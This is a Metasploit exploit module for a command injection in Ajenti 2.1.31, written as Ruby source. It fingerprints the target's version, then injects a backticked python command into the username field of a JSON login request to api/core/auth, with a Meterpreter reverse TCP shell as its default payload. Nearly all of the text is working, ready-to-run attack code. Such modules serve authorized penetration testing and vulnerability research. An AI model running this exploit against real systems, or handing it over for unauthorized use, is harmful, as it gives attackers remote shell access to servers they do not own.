Ajenti 2.1.31 Command Injection

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Ajenti auth username Command Injection',  
'Description' => %q{  
This module exploits a command injection in Ajenti == 2.1.31.  
By injecting a command into the username POST parameter to api/core/auth, a shell can be spawned.  
},  
'Author' => [  
'Jeremy Brown', # Vulnerability discovery  
'Onur ER <[email protected]>' # Metasploit module  
],  
'References' => [  
['EDB', '47497']  
],  
'DisclosureDate' => '2019-10-14',  
'License' => MSF_LICENSE,  
'Platform' => 'python',  
'Arch' => ARCH_PYTHON,  
'Privileged' => false,  
'Targets' => [  
['Ajenti == 2.1.31', {}]  
],  
'DefaultOptions' =>  
{  
'RPORT' => 8000,  
'SSL' => true,  
'payload' => 'python/meterpreter/reverse_tcp'  
},  
'DefaultTarget' => 0  
))  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
end  
  
def check  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => '/view/login/normal'  
})  
  
unless res  
vprint_error 'Connection failed'  
return CheckCode::Unknown  
end  
  
unless res.body =~ /ajenti/i  
return CheckCode::Safe  
end  
  
version = res.body.scan(/'ajentiVersion', '([\d\.]+)'/).flatten.first  
  
if version  
vprint_status "Ajenti version #{version}"  
end  
  
if version == '2.1.31'  
return CheckCode::Appears  
end  
  
CheckCode::Detected  
end  
  
def exploit  
print_status('Exploiting...')  
json_body = { 'username' => "`python -c \"#{payload.encoded}\"`",  
'password' => rand_text_alpha_lower(7),  
'mode' => 'normal'  
}  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, 'api', 'core', 'auth'),  
'ctype' => 'application/json',  
'data' => JSON.generate(json_body)  
})  
end  
end  
`